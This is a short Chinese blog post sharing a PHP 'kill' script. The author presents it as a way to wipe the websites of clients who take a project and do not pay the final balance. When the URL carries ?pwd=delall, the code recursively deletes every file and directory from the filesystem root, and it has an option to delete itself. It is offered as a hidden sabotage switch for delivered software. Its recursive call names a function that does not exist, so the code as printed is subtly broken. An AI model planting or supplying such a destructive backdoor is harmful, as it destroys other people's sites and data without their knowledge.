感触life

php“杀手”,删除所有目录跟文件

//Today i saw funny phpclass form gitee,”kill.php”,when i run it ,it doesn’t  work,then i code myself.

防收了项目逃跑不交尾款的人,一运行,网站删光光

<?php 
//循环删除目录和文件函数 
function delall( $dirName ) 
{ 
if ( $handle = opendir( "$dirName" ) ) { 
while ( false !== ( $item = readdir( $handle ) ) ) { 
if ( $item != "." && $item != ".." ) { 
if ( is_dir( "$dirName/$item" ) ) { 
delDirAndFile( "$dirName/$item" ); 
} else { 
if( unlink( "$dirName/$item" ) )echo "成功删除文件: $dirName/$item<br />"; 
} 
} 
} 
closedir( $handle ); 
if( rmdir( $dirName ) )echo "成功删除目录: $dirName<br />"; 
} 
} 
//防止误删,链接后加?pwd=delall删除所有文件,delmyself删除这个文件
if ($_GET['pwd']=='delall') {
   delall( "/");//这个路径可能要改成当前文件的上级目录到根目录,如../../
}elseif ($_GET['pwd']=='delmyself') {
   unlink('kill.php');
   echo "删除自己成功";
}

码字很辛苦,转载请注明来自感触life-博客《php“杀手”,删除所有目录跟文件》

评论